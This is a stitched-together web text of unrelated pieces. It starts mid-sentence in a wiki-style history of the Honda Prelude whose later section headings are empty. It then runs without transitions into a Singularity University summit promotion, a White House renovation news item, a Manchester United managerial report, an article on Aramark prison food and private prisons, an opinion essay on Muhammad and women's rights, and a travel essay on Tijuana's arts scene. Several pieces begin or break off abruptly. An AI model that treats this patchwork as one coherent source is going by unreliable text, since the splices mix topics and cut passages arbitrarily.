slightly more annual road taxes over the smaller Civic, which also had a smaller engine. While marketed as a 2+2, the rear seat was not usable for anyone larger than a small child.[2] Initial reviews for the Prelude were favorable. "It is," wrote Brock Yates for Motor Trend, "by any sane measurement, a splendid automobile. The machine, like all Hondas, embodies fabrication that is, in my opinion, surpassed only by the narrowest of margins by Mercedes-Benz. It is a relatively powerful little automobile by anybody's standards." Motor Trend measured an early Prelude completing the quarter-mile in 18.8 seconds at 70 mph. In terms of underpinnings it was mostly a Honda Accord, although its more compact package and lower weight allowed for a marginally higher top speed and gas mileage.[2] Rear view of SN Prelude The standard engine at the time of introduction was the "EL" SOHC eight-valve 1,602 cc (non-CVCC) inline-four rated at 80 PS (59 kW) at 5,000 rpm and 12.9 kg⋅m (127 N⋅m; 93 lb⋅ft) at 3,500 rpm.[1] It remained the only engine available for most markets, aside from the US and Japan. It featured a non-automatic choke with three positions and a two-barrel carburetor. In September 1978 the larger "EK" SOHC 12-valve 1,751 cc CVCC inline-four was introduced in Japan, rated at 90 PS (66 kW) at 5,300 rpm (SAE gross).[1] Automatics had five less horsepower.[4] It took until March 1979 for the Prelude to appear in the United States, then with 72 hp (54 kW) at 4,500 rpm and 94 lb⋅ft (127 N⋅m) at 3,000 rpm (SAE net) from the larger 1.8 engine.[6] The EK engine made use of an engine oil cooler and transistor-controlled ignition system. Transmission choices were either the standard five-speed manual or initially a two-speed "Hondamatic" semi-automatic, which by October 1979 had been replaced by a three-speed automatic that used the final gear as the overdrive. In addition to the standard fabrics offered in most models, an 'Executive' option was offered in some markets which added power steering and Connolly leather upholstery. Honda used a single central gauge cluster design in this car which housed the speedometer and tachometer in one combined unit where both instrument's needles swept along the same arc. They also placed the compact AM/FM radio unit up high next to the gauge cluster. The Prelude featured intermittent wipers, tinted glass, and a remote trunk release. 1980 saw the introduction of the CVCC-II engine which employed the use of a catalytic converter and several other refinements that improved driveability, the Prelude also received a mild facelift in 1981. This facelift meant a return to a more traditional dashboard, rather than the much critiqued "Concentrated Target Meter" used before.[7] The 1981 Prelude also received a stainless steel trim strip along the bumpers and side moldings, as well as a new grille. 313,000 units were manufactured by Honda from 1978-1982, with 80% being sold outside of Japan. The Prelude was launched in Europe during 1979, but was not a strong seller, its high asking price not helping its chances of sales success.
Second generation (1982–1987) Edit
Overview Production 1982–1987 Designer Shinya Iwakura (1979) Powertrain Engine 1829 cc A18A/ET 12-valve I4
12-valve I4 1829 cc ES CVCC 12-valve I4
CVCC 12-valve I4 1958 cc 'Honda A20A -110bhp engine, 'B20A DOHC 16-valve I4 Transmission 4-speed automatic
5-speed manual Dimensions Wheelbase 2,451 mm (96.5 in) Length 4,374 mm (172.2 in) Width 1,689 mm (66.5 in) Height 1,295 mm (51 in) Curb weight 918 kg (2,023 lb) - 1,340 kg (2,954 lb) (depending on model) The second-generation Prelude was released in Japan on November 25, 1982 and worldwide in the spring of 1983. Riding on an all-new platform, the Prelude was initially available with an A18A or ET-2, 1.8 L 12-valve twin carburetor engine, producing 105 PS (77 kW).[8] In Japan, Asia and Europe, it later became available with a 2-liter DOHC 16-valve PGM-FI engine (JDM = BA1, EU = BA2) although this engine was not released in Europe until 1986. The JDM B20A produced 160 PS (118 kW) at 6300 rpm, while the European B20A1 produced only 137 hp (102 kW). This was the first generation of Prelude to have pop-up headlights, which allowed for a more aerodynamic front clip, reducing drag. Opening the headlights, however, especially at higher speeds, produced significantly more drag. The design retained nothing of the first generation, being considerably more aerodynamic and with large glass surfaces. As with the predecessor, it was amply equipped, with an air of "mini-gran turismo" rather than that of a sports car.[9] It also offered, as an option, Honda's new "A.L.B." anti-lock brakes.[8] In Japan, the Prelude was one of the key models sold at Japanese Honda dealership sales channels, called Honda Verno, which offered performance-oriented products. All Honda Verno products, like the Vigor, initially shared the concealed headlights introduced with this generation Prelude that would help identify "sports" products from Honda in Japan however, the approach was short-lived. The model with the 2.0 liter engine was regarded as the top level car in Japan because Japanese buyers were liable for a higher annual road tax over the car with the 1.8 liter engine. The Japanese 1.8 had CVCC and claimed 125 PS (92 kW), considerably more than export models. When the 2-liter 16-valve DOHC engine came out the hood had to be slightly modified since the larger engine could not fit under the original hood. The original 1.8-liter engine was developed specifically for the Prelude to allow a low hoodline, even tilting the engine backward to make it lower yet.[8] The European version also saw slight modifications to the rear lights and revised front and rear bumpers which were now color-matched. Due to the fairly low weight of the car (1,025 kg or 2,260 lb) and high power (the 16-valve engine produced 160 PS or 118 kW in Japanese trim), the car was relatively nimble in comparison to its competitors, which most Preludes had not been up to that time. The North American 1983 model is identifiable by its standard painted steel wheels with bright trim rings (although alloy rims were optional). The 1984-87 base models had Civic-style full wheel covers. In Canada, a "Special Edition" trim was created, which is essentially the same as the USA 2.0Si "sport injected" model. Fuel injection was introduced in the "Si" models in 1985. North American 1.8's offered 100 hp (75 kW), while the later 2.0 has 110 hp (82 kW). This version of the Prelude was far more popular in Britain than its predecessor, and sold well at a time when sports cars were declining in popularity and many manufacturers were withdrawing from this market sector; including Ford, who did not replace the Capri after its 1986 demise, even though it had been one of Britain's 10 most popular new cars as recently as 1980. The European lineup originally consisted of the base Prelude, without power steering, and the well-equipped EX which was also available with an automatic transmission and the A.L.B. brakes.[8] 1986 Honda Prelude SE Rear
1986–1987 Honda Prelude Si coupe (Australia)
1986–1987 Honda Prelude Si coupe (Australia)
Honda Prelude. 1987, Base 1.8L DOHC, twin carb. (Canada)
Honda Prelude. 1987, Base 1.8L DOHC, twin carb. (Canada)
Third generation (1987-1991) Edit
Fourth generation (1991–1996) Edit
Fifth generation (1997-2001) Edit
Sales Edit
Sales were not strong, particularly due to competition from Honda's other offerings. The sixth-generation Accord coupe received an exclusive front fascia, rear tail lights, wheels and many other body panels, now being marketed as a somewhat separate model from the family-oriented sedan, yet its sedan roots gave it much more utility than the comparatively cramped Prelude. The sixth-generation Civic Si coupe has also gained a reputation in its own right and was considerably less expensive than the Prelude. The exterior dimensions of the Prelude were no longer in compliance with Japanese government regulations, and the additional costs resulting from this contributed to the popularity of smaller Honda products. US sales figures below. Generation Model Years Units 1st 1979–1982 171,829 2nd 1983–1987 336,599 3rd 1988–1991 160,909 4th 1992–1996 98,627 5th 1997–2001 58,118 1st-5th 1979-2001 826,082
Safety Edit
Awards Edit
The Prelude was on Car and Driver magazine's annual Ten Best list ten times: three times from 1984 to 1986, and then seven times from 1992 to 1998, although the biggest complaint over much of the Prelude's lifespan was the lack of availability of a V-6 engine option, especially in the US.
Convertibles Edit
1981 Prelude Cabriolet (Tropic conversion) Through the years, several German and US companies have converted Preludes into convertibles. Currently, there have been convertibles made from the first, second and fourth generation Preludes. First generation Preludes were modified into full convertibles by several companies in both the US, Canada and Germany. The Solaire Corporation, a southern based company in Santa Ana California owned by Al Rowland & Jim Bruemmer, lead the idea for mass market sales. He brought in craftsman Bruce Meyers (Known for the famous Meyers Manx Dune Buggy) to help design the tooling and fiberglass work for production. A believed 150 Preludes, between 1980 - 1982, were modified and sold to US Honda dealerships with full factory warranties. Dealer prices ranged from $14,000-$15,000, while the conversion itself sold around $5,000. Solaire collaborated with other companies including Classic Touch, Con-tec, Silcco, Steas Industries and National Coach. It was marketed as "Honda's 450 SL", drawing aesthetic comparisons to the Mercedes 450SL. Tropic Design, located in Crailsheim, Germany.[16] Company owner Jürgen Weber learned this trade in the United States.[16] In all, they modified 47 Preludes, most of which were exported to the US, where Weber had connections. Very few have remained in Europe, initially all in Germany. Some have been sold over time to nearby countries, at least one to the Netherlands, one to France and one to Belgium. Second generation Preludes were modified by another German company; some 100 Preludes were modified. No DOHC engine-equipped models have been known to be converted into convertibles, however. Three versions were available: a basic version, one which had more luxurious options, and one which added a body kit. There is believed to be a few third generation preludes made however it is not confirmed how many were made. There is currently one confirmed Japanese imported third generation prelude currently in Australia though not much is known of its history. Of the fourth generation Preludes, only some 15 were modified into a convertible by German company Honda-Autohaus Manfred Ernst. No details are known about the engine types and other specifics. Since only 15 were ever made, they are assumed by many to be custom-built.
Scale Models Edit
Corgi and Neo have produced 1:43 models of the first generation.
At the center of this change lie the companies creating the products of tomorrow.
Whether it’s self-driving commercial trucks or 3D-printed rocket engines, the opportunities for financial success and human progress are greater than ever. Looking to the future, manufacturing will begin to include never-before-seen approaches to making things using uncommon methods such as deep learning, biology and human-robot collaboration.
That’s where Singularity University’s Exponential Manufacturing Summit comes in.
Last year’s event showed how artificial intelligence is changing research and development, how robots are moving beyond the factory floor to take on new roles, how fundamental shifts in energy markets and supply chains are being brought about by exponential technologies, how additive manufacturing is nearing an atomic level of precision, and how to make sure your organization stays ahead of these technologies to win business and improve the world.
Hosted in Boston, Massachusetts May 17-19, Exponential Manufacturing is a meetup of 600+ of the world’s most forward-thinking manufacturing leaders, investors and entrepreneurs. These are the people who design and engineer products, control supply chains, bring together high-functioning teams and head industry leading organizations. Speakers at the event will dive into the topics of deep learning, robotics and cobotics, digital biology, additive manufacturing, nanotechnology and smart energy, among others.
Alongside emcee Will Weisman, Deloitte’s John Hagel will discuss how to innovate in a large organization. Ray Kurzweil will share his predictions for an exponential future. Neil Jacobstein will focus on the limitless possibilities of machine learning. Jay Rogers will share his learnings from the world of rapid prototyping. Hacker entrepreneur Pablos Holman will offer his perspective on what’s truly possible in today’s world. These innovators will be joined by John Werner (Meta), Valerie Buckingham (Carbon), Andre Wegner (Authentise), Deborah Wince-Smith (Council on Competitiveness), Raymond McCauley (Singularity University), Ramez Naam (Singularity University), Vladimir Bulović (MIT), and many others.
Now, more than ever, there is a critical need for companies to take new risks and invest in education simply to stay ahead of emerging technologies. At last year’s Exponential Manufacturing, Ray Kurzweil predicted, “In 2029, AIs will have human levels of language and will be able to pass a valid Turing test. They’ll be indistinguishable from human.” At the same event, Neil Jacobstein said, “It’s not just better, faster, cheaper—it’s different.”
There’s little doubt we’re entering a new era of global business, and the manufacturing industry will help lead the charge. Learn more about our Exponential Manufacturing Summit, and join us in Boston this May.
Trump leaves Friday for what the White House has called an extended "working vacation" at his golf club in Bedminster, N.J., while his staff in Washington will clear out of the West Wing and move into the Eisenhower Executive Office Building next door.
Work has already begun to replace the West Wing's 27-year-old heating, ventilation and air conditioning (HVAC) system, a White House official told reporters Thursday. Because of the frequency of use, the HVAC system's usage age is pegged at around 84 years old.
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White House deputy press secretary Lindsay Walters told reporters that the South Portico steps on the South Lawn will also be repaired. Those steps haven't been restored since President Dwight Eisenhower was in the White House.
Among the other facets of the White House that will be refurbished are the Navy mess kitchen, a restaurant in the West Wing run by the U.S. Navy, the building's lower lobby, the information technology (IT) system and other "generic cosmetic upgrades."
Trump is expected to stay at his New Jersey golf club for 17 days.
Van Gaal is on the brink at Old Trafford after Saturday's dismal home defeat to Norwich City in the Barclays Premier League took his team's recent run to three wins out of 13 in all competitions.
Despite a private vote of confidence from the United hierarchy just a fortnight ago, the manner of the weekend's defeat has changed the mood at boardroom level at Old Trafford.
Jose Mourinho (centre left) is ready and willing to replace Louis van Gaal if he is sacked by Manchester United
Mourinho, pictured walking near his house on Sunday morning, would jump at the chance to replace Van Gaal
Van Gaal oversaw another defeat as Manchester United boss on Saturday and his side have won three in 13
Van Gaal will in all likelihood be sacked if United fail to get anything from Stoke City on Boxing Day and could even go before then.
The Stoke game is quickly followed by a home game with Chelsea two days later and if United lose both they will be cut adrift from the top four.
With Mourinho out of work after his sacking at Chelsea last week, the Portuguese would be high on United's shortlist of replacements, along with current assistant manager Ryan Giggs.
And it is understood that Mourinho would jump at the chance to move to Old Trafford, telling friends last week that there are some jobs that are impossible to turn down.
United have previously baulked at making a move for Mourinho, with key figures such as former chief executive David Gill and club legend Sir Bobby Charlton concerned about the amount of 'noise' that tends to accompany the two-time Champions League winner and indeed his tendency to stay at clubs for a relatively short amount of time.
Those reservations still exist at boardroom level at Old Trafford but with Van Gaal currently taking the club backwards – his record in the Premier League is now barely any better than his predecessor David Moyes – the landscape at United is changing.
Cameron Jerome (third right ) celebrates after putting Norwich ahead against Manchester United on Saturday
Mourinho (pictured in 2009 at Old Trafford) has told friends 'some jobs are impossible to turn down'
Sir Bobby Charlton (middle row, 2R) has raised concerns about the amount of 'noise' Mourinho generates
UNITED'S NEXT FIVE FIXTURES December 26: Stoke (A) December 28: Chelsea (H) January 2: Swansea (H) January 9: Sheff Utd (H - FA Cup third round) January 12: Newcastle (A) (All games are Premier League unless stated)
Sir Bobby, for example, is a less powerful voice at Old Trafford than he used to be and the decision on hiring and firing this time round will be taken by chief executive Ed Woodward and the club's owners the Glazer family, with advisory input from Gill and club icon Sir Alex Ferguson.
One option that will be considered at United is for Giggs to take the job until the end of the season. That, however, would run the risk of other more high-profile candidates looking elsewhere for work.
One name sure to enter the frame is Pep Guardiola, who confirmed on Sunday he will leave Bayern Munich at the end of the season, to be replaced by Carlo Ancelotti.
However, United fear that Guardiola's move to Manchester City next summer is a done deal.
Pep Guardiola is leaving Bayern Munich, but United fear a move to Manchester City is already done
Mourinho (centre), who is keen to move straight back into management, was at Brighton on Saturday
Mourinho, pictured in 2009 in the Manchester United dugout, could potentially return there as manager
Van Gaal must bring about a startling turnaround in form and mood at United if he is to survive his second Christmas and New Year at the club.
There is no burning desire to sack the Dutchman but Saturday's result was a new low for Van Gaal and it has not gone unnoticed in the boardroom that United's players did not look motivated on Saturday while the Old Trafford support has already made up its mind about their manager.
There have been doubts in the United dressing room about Van Gaal's tactics for weeks but those attitudes have hardened significantly in recent days and weeks with some senior players now convinced that a change must be made if the club is not to finish the season outside the top four again.
Sir Alex Ferguson (left) would give advice to Ed Woodward and the Glazer family about the next manager
Van Gaal was booed by the Manchester United supporters as he left the Old Trafford pitch on Saturday
Guus Hiddink (left) has replaced Mourinho at Chelsea, and could appoint Didier Drogba as his No 2
Van Gaal himself was not his usual robust self after Saturday's game, admitting that the club would lose faith in him if things don't improve immediately. He did claim, however, that he maintains the support of Woodward and his players.
Van Gaal said: 'Now I have not spoken [to the board]. Only at the end and Ed was very fast out of the dressing room. But I feel that support, yes. And the most important support is from the players.
'It is always like that because the players have to do it on the pitch and the chemistry between the players and the managers and his staff is very important. But of course the belief of the fans in the manager is also very important.
Despite being sacked last week, many Chelsea fans sung Mourinho's name and held up banners of support
Jerome (top centre) helped Norwich to victory, and Van Gaal admitted United's fortunes must improve
Van Gaal still believes he has the backing of the board and the players despite United's poor form of late
'We are in a bad period, we have lost three matches in a row and their belief has been tested. It's tested now and it shall decrease and yeah, it's also important how the fans are thinking, of course.'
Case in point: Officials in Michigan are already regretting a recent move to privatize food services for inmates in the state’s prison system. Early results have proven disastrous.
Paul Egan reports for the Detroit Free-Press:
Maggots in the kitchen and on the chow line. Workers caught smuggling contraband or engaging in sex acts with inmates. Food shortages and angry prisoners. Those are among the problems that have plagued Michigan prisons since December when the state — in a move aimed at saving more than $12 million a year — switched from using state workers to feed prisoners to a private contractor, Aramark Correctional Services of Philadelphia. Ongoing turmoil with the 7-month-old contract — including many instances never previously disclosed — is detailed in more than 3,000 pages of state records obtained by the Free Press under Michigan’s Freedom of Information Act: One Aramark food service director showed up drunk and failed a Breathalyzer. Another worker was caught trying to smuggle marijuana. Others have failed drug tests, kissed prisoners, threatened to assault inmates, or announced intentions to “go postal” inside a facility, records show. “I’m at my wit’s end,” Kevin Weissenborn, the Michigan Department of Corrections manager in charge of policing the Aramark contract, e-mailed one Michigan warden in March, records show.
The move cost 370 public employees their jobs. According to Egan, most Aramark workers are “paid about $11 an hour in a high-stress environment with high turnover.” And the Free-Press investigation found that of the 300 workers hired by Aramark to work in Michigan prisons, 74 — nearly a quarter — “had been banned from prison property for various infractions as of the end of June.”
Earlier this month, Egan reported that 150 prisoners at the Parnall Correctional Facility in Jackson, Michigan, had fallen ill with “flu-like symptoms,” and the prison was partially quarantined. It was unclear whether tainted food served by Aramark was responsible, but the illnesses began shortly after “maggots were discovered… along a prison meal line — inches from the serving trays.”
Experts say that food shortages and similar problems pose a unique security threat within prison walls. Alan Pyke reported for ThinkProgress that Aramark’s “poor handling of a food contract was blamed for causing riots in a Kentucky prison in 2009, and issues similar to the ones Michigan officials report have cropped up in Aramark-run prison kitchens in Florida, Ohio, and Indiana.
In March, just four months into the contract, the state hit the company with a $98,000 fine for repeated contract violations. Now officials are considering canceling the three-year contract.
Aramark Correctional Services is a division of the Aramark Corporation, a major supplier of food for sports facilities, hospitals, educational institutions and other businesses. According to Alan Pyke, “prisons operations are a bright spot on the [corporation’s] accounting sheet. Its most recent quarterly report praised corrections contracts as a primary growth area in the multinational company’s portfolio.” According to the Michigan Secretary of State’s Office, Aramark spent close to $600,000 lobbying state officials over the past seven years.
False Promises and a Shady Study
As Michigan’s legislature debated prison privatization, the Free Press ran an op-ed by Simon Hakim and Erwin Blackstone, two economists at Temple University’s Fox School of Business. The scholars called for “a debate rooted in data and facts,” and touted their research ostensibly showing that privatization saved states money without compromising the quality of correctional services.
What Free Press readers weren’t told is that the scholars’ paper, which hasn’t been peer-reviewed or published in an academic journal, was funded by the private prison industry. Nor were readers made aware of other “op-eds they published in newspapers around the country, most with no mention of their funding source,” according to the Philadelphia Inquirer. Their lack of disclosure of the apparent conflict of interest is the subject of an ethics complaint now being investigated by the university.
When contacted by a reporter for the Inquirer, the scholars got in touch with the Corrections Corporation of America – “the nation’s largest private corrections company and one of their funders” — and asked it to release a statement. CCA’s spokesman, Steve Owen, told the paper, “It’s very telling that not one person has yet to say one thing critical about the validity of the research and the findings.” But Christopher Petrella, a researcher at the University of California, Berkeley, tells BillMoyers.com that Owen’s claim is completely false:
“Over the past year or so, many organizations have rightly underscored the conflict of interest inherent in the industry paying for a study that it then cites. But I wanted to take a closer look at the study’s actual content — what are its starting assumptions? What methodology did they use? And what I found was striking. If you actually dig into this study, you find that it fails to account for dramatic demographic differences between the adult population housed in public prisons and CCA’s privately operated facilities.”
Petrella found that CCA had negotiated a contract with the state of California — his focus, and home to 12 percent of the nation’s privately held prison inmates — that allowed them to exclude prisoners with any of a long list of illnesses and behavioral problems. “It’s an exercise that inoculates the company from having to house these high-cost prisoners,” he said, “which artificially deflates the cost [per prisoner] in CCA’s private prisons, and inflates the costs of those that remain in the public system, which can’t cherry-pick which prisoners it houses.”
Petrella found that per-prisoner health care costs for the healthiest prisoners in California — like the ones in CCA’s facilities — are about one-tenth of what it costs to house prisoners in a public facility with a high share of sicker, older inmates.
Petrella wrote an open letter to CCA and the Temple University scholars, posted at the ACLU’s website, asking them to address these glaring methodological errors. So far, no response.
A Troubling Industry
In the late 1990s, the for-profit prison industry was in deep trouble, and risked disappearing entirely. But when some of the leading for-profit prison companies began lobbying for new laws requiring immigrants awaiting deportation hearings be detained in ever greater numbers, the industry bounced back.
In 2012, Aviva Shen reported that over the previous decade the for-profit prison industry spent $45 million lobbying federal officials, and raked in more than $5 billion on immigration detainees alone. A 2011 study by the Justice Policy Institute similarly found that “as revenues of private prison companies have grown over the past decade, the companies have had more resources with which to build political power, and they have used this power to promote policies that lead to higher rates of incarceration.” The report concluded that the “pro-incarceration policies that private prison companies promote do nothing to improve communities or cut costs, and may actually have the opposite effect.”
Those lobbying dollars continue to spur the industry’s growth. As Aaron Cantu reported for AlterNet, “While the total prison population in the country grew 16% between 2000 and 2011, the state private prison population grew 106%. Yet despite this astronomical growth, not a single independent study has ever corroborated the incarceration industry’s claim that its services save taxpayers’ money.”
The prophet Muhammad would be appalled by how current Islamic Fundamentalists are treating women under their control. This suppression is done in the name of Islamic Law, known as Sharia. But the current suppression of women is shaped by cultural and history. It has little basis in the Quran and it is certainly not consistent with anything we know about what Muhammad taught or how he treated women. Of all the founders of the great religions - Buddhism, Christianity, Confucianism, Islam and Judaism -- Muhammad was easily the most radical and empowering in his treatment of women. Arguably he was history's first feminist.
This is of critical importance because if there is one single thing that Arabs and Muslims could do to reform and re-vitalize their crisis ridden cultures, it would be to liberate their women and provide them with the full rights women are enjoying in more and more countries around the world. Women's equality is key to a real Arab Spring.
Among the founders of the great religions, Confucius barely mentioned women at all and assumed in all his teachings that they we subordinate to men within a patriarchal order. Buddha taught that women could become enlightened but had to be pressured three times before allowing women to become nuns, and then only on the condition, as he put it, that the highest nun would be lower than the lowest monk. In the Gospel accounts, Jesus did not explicitly comment on the status of women, although he did associate with women of ill repute and with non Jewish women. Moses was thoroughly patriarchal and there is virtually nothing in the Torah that indicates specific concern about women's rights.
Muhammad was fundamentally different. He both explicitly taught the radical equality of women and men as a fundamental tenet of true spirituality, and he took numerous concrete measures to profoundly improve the status and role of women in Arabia during his own lifetime. Muhammad was sensitized to the plight of women because he was born poor and orphaned at a very early age. He was also illiterate. He knew as few did what poverty and social exclusion meant.
Confucius was born into the gentry scholar class of ancient China. Buddha was born a wealthy prince in Nepal. Jesus was born the son of a carpenter with royal lineage and within a tightly knit Jewish community in Palestine. Moses was born into a Hebrew family and raised in the palace of the Pharaoh of Egypt. Muhammad had none of these advantages. Thus while other religious leaders seemed strangely silent about the oppression of women, Muhammad dramatically raised the status of women as a matter of religious conviction and state policy. Consider the following:
During seventh century Arabia, female infanticide was commonplace. Muhammad abolished it. A saying in the Hadith (the collection of sayings of Muhammad) records that Muhammad said that the birth of a girl was a "blessing." Women in Arabia at that time were essentially considered property and had absolutely no civil rights. Muhammad gave them the right to own property and they were extended very important marital and inheritance rights.
Prior to Muhammad, the dowry paid by a man for his bride was given to her father as part of the contract between the two men. Women had no say in the matter. Muhammad declared that women needed to assent to the marriage and that the dowry should go to the bride, not the father; furthermore, she could keep the dowry even after marriage. The wife did not have to use the dowry for family expenses. That was the responsibility of the man. Women were also given the right to divorce their husbands, something unprecedented at that time. In a divorce, the woman was empowered to take the dowry with her.
Women were extended inheritance rights as well. They were only given half as much as their brothers because the men had more financial responsibilities for family expenses, but with Muhammad, women became inheritors of property and family assets for the first time in Arabia. At the time, this was considered revolutionary.
Muhammad himself was often seen doing "women's work" around the house and was very attentive to his family. His first marriage to Khadija was monogamous for the entire 15 years they were married, something rare in Arabia at that time. By all accounts, they were deeply in love and Khadija in fact was the first convert to Islam. She encouraged Muhammad from his very first encounter with the angel Gabriel and the recitation of the first suras that were to become the Quran.
After Khadija's death, Muhammad married 12 wives. One was Aisha, the daughter of his closest friend and ally Abu Baker. The rest were nearly all widows, divorced women, or captives. He preached consistently that it was the responsibility of men to protect those women who had met with misfortune. This was one of the reasons polygamy was encouraged. Even with female infanticide, women in seventh century Arabia far outnumbered men because so many men were killed in the inter-tribal warfare of the day. Several of Muhammad's wives were poor and destitute and he took them in, along with their children, into his household.
In his Farewell Sermon delivered shortly before he died in 632, Muhammad said to the men, "You have certain rights over women but they have certain rights over you." Women, he said, are your "partners and helpers." In one of the sayings of the Hadith, Muhammad says, "The best men are those who are best to their wives."
His wife Aisha took a leadership role after his death in bringing together the Hadith and another wife played a leading role in gathering together the suras that comprise the Quran. Each of the 114 suras that comprise the Quran with the exception of sura 9 begin with the words Bismillah al Rahman al Rahim. Translated most commonly as "In the Name of God, all compassionate, all merciful," the deeper meaning of this phrase is "In the Name of the One who births compassion and mercy from the womb." This invocation of the feminine aspect of Allah is key to an Islamic Renaissance.
Finally, there is nothing in the Quran about women wearing the veil, the Hejab. That was certainly the custom in Arabia at that time and Muhammad's wives wore the Hejab to designate their special status as "Mothers of the Believers," but the only thing the Quran says directly is that women should dress "modestly." Muhammad said the same thing to men. For him, modesty of dress was expressive of modesty of the heart. Muhammad himself, even when he was supreme leader, never wore anything more than simple white woolen attire.
So radical were Muhammad's reforms that the status of women in Arabia and early Islam was higher than any other society in the world at that time. Women in 7th century Arabia had rights not extended to most women in the West till recent centuries over 1,000 years later. The fact that women have ended up in such a degraded position in many contemporary Arab/Muslim counties is a tragedy and needs to be rectified if the Islamic culture and civilization is to flourish again as it did during the Abbasid Caliphate from the 8th - 13th centuries when Islamic civilization was a shining light to the world. Liberating women would have profound effects politically, economically, culturally, artistically, and religiously. It would take the Arab Spring to a whole new level, which is what is so desperately needed in those countries that suffered the first Arab Spring as a stillbirth.
A national campaign to rein in the power of Mexico’s drug cartels seems to have worked. The Tijuana of popular legend — a playground for young Americans — is fading, and residents are eagerly anticipating how this calmer version of the city is going to play out. Spaces are being reclaimed and re-energised by creative types, who are quietly transforming nooks and crannies dotted about the city into amiable locations for the arts to thrive. The city is returning to one of its strengths, which is local culture.
‘Tijuana has this stereotype of serving the whims of Americans and living by their rules,’ Miguel Buenrostro told me. Buenrostro, a director at the Tijuana-based non-profit organisation Fundación Tabgha, belongs to a network of artists, activists and promoters who are actively rebuilding Tijuana’s tarnished reputation, linking the arts and culture to the city’s economic recovery. For the past year, he’s immersed himself in the burgeoning arts scene, as much for commercial opportunities as for aesthetics.
Tijuana’s murder rate has declined sharply since 2010, along with concerns over random street violence. The city’s notorious nightlife district Avenida Revolución (La Revo, as the locals like to call it) is showing signs of recovery. This time, however, the multiplex palaces catering to wild tourists are quiet. Inebriated gringos no longer roam the streets, and clubs catering to outlaws and outliers are passé. Tijuana is no longer just in the business of selling vice.
When drug violence crested in 2008, tourism plummeted. Landlords and tenants walked away from their businesses. In La Revo, around 80 per cent of the shops catering to tourists closed their doors. The pasajes, covered alleyways in the heart of the district, were among the hardest hit. ‘The owners, most of whom are in their 80s, have already made their money,’ said Buenrostro, whose family has ties to the district.
Their absence proved to be fertile ground for Tijuana artists. They saw an opportunity to inhabit the abandoned arcades, giving rise to a commercial and creative space known collectively as the Pasaje Rodriguez del Arte y Diseño. Since 2010, book shops and galleries that cater to local residents have transformed the vacant corridor into a trendy hot spot for hipsters.
‘Tijuana is like its own country,’ he said. ‘Not quite the United States and not Mexico’
In turn, Buenrostro founded a website and organisation called Reactivando Espacios (Reactivating Spaces) in 2012, dedicated to the recovery of Tijuana’s shopworn arcades in hopes of sparking renewed interest in the commercial redevelopment of the district. This time, it is for the benefit of Tijuana residents, not just tourists. ‘We need to have our own things,’ Buenrostro said.
Other artists are moving into the district. Pasaje Gómez is modelled after Pasaje Rodriguez across the street, and is another two-level arcade. It had sparse traffic when I visited on a cold winter evening. A pop-up gallery called 206 Arte Contemporáneo, run by the sisters Mónica and Melissa Arreola, showcases the work of emerging artists. Down a flight of stairs, the cosy photo gallery La Tentación TJ, which is affiliated with the Museum of the Photographic Arts in San Diego, beckoned. Inside, the photographer Josue Castro was holding court. He marvelled at the capabilities of the photo-sharing app Instagram and ruminated on Tijuana. ‘A lot of people can’t imagine that this place even exists,’ he said, adding that lately half the people visiting the gallery come from outside Tijuana. They are drawn to it, and to the buzz swirling around the city, thanks to recent media accounts. ‘Tijuana is like its own country,’ he said. ‘Not quite the United States and not Mexico.’
This sentiment is shared on both sides of the border. Many of Tijuana’s residents have blended border identities, are bilingual, and have dual citizenship. And regardless of which side of the border they live on, many shuttle back and forth between Tijuana and San Diego because of close family ties and the lure of higher wages in the US.
None of this could have been imagined several years ago. Fear governed the city. Wealthy families moved to San Diego, middle-class families barricaded their doors, and the poor cowered in shacks trying to avoid the drug violence. Then the security forces waged a ruthless campaign to retake Tijuana’s streets from the powerful drug cartels in a struggle that has reportedly claimed 60,000 lives throughout Mexico. (The US State Department still issues travel warnings to US citizens going to Mexico.) Recent statistics indicate that Tijuana’s crime rate is now comparable to major US cities. About the most dangerous thing I was exposed to during my visit involved consuming water from an unknown source.
Founded barely 125 years ago, Tijuana continues to unfold in unexpected ways. With no central planning to speak of, much of the city looks improvised. Neighbourhoods mesh in bewildering ways stitched together by a Rube Goldberg-like tangle of roads. The city has been described as postmodern, but gritty, chaotic and dense is more likely how residents and visitors think of it. Art deco ruins, shopping malls and tidy bungalows in residential blocks blend with Spanish-colonial buildings in a mix of finished projects and unrealised dreams.
Once empty shopping malls have become the technicolour domain of artists. Photo by Hernan Cazares
‘We are all artists in Tijuana,’ the architect and educator René Peralta said half-jokingly, when we discussed the city’s multiple, shifting identities. A son of the city and my guide for the day, Peralta gave me some valuable background. Tijuana’s origins are a quirk of history: in 1848, under the Treaty of Guadalupe Hidalgo, a line was drawn in the sand demarcating the US from Mexico. Only later did that dotted line on the map harden into an iron curtain.
Tijuana’s proximity to the US has lured migrants from other parts of Mexico and elsewhere for generations. Settlement kept apace with American desires, first as a drinking and gambling mecca for southern Californians eager to escape polite society, and then as a centre for light manufacturing. Fortune hunters settled in Tijuana during the Prohibition era, lured by the money to be made in booming nightclubs and vice. In the 1990s, a second wave arrived with the passing of the North American Free Trade Agreement to provide cheap labour to maquiladoras, the Mexican factories along the US border. In recent years, Tijuana has become the final destination for migrants on their way north to the US: a triple border fence extending far into the desert deters even the most desperate from attempting the trek through scorching heat and unrelenting desert into the US. So, for now, illegal border crossings have come to a standstill. No longer a way-station to the American dream, Tijuana has become home to countless migrants rebuffed by the daunting challenges placed in front of them. The question remains whether the resurgence in Tijuana’s artistic scene is anything more than a gloss on a city with deep economic and social difficulties.
How else to explain Tijuana’s enduring mascot, a donkey painted to resemble a zebra and called the zonkey?
For all the decline in violence, Tijuana remains a vexing place mired in controversy. Issues of fairness and equity were made apparent to me on a drive over to Las Playas, Tijuana’s beachfront. On the left, Colonia Libertad, a menacing jumble of low-rise buildings, marched into the steel embrace of the border fence. At land’s end, a corrugated steel wall tumbled into the Pacific Ocean barring entry into the US, for at least 100 yards. Wedged between the border fence and the ocean was a small public park that allowed Mexican families living on either side to gather for reunions without crossing. Adjacent to them, an incongruous statue of cavorting dolphins belied the true nature of the fence. As Peralta said: ‘The dolphins are the only ones that can travel freely.’
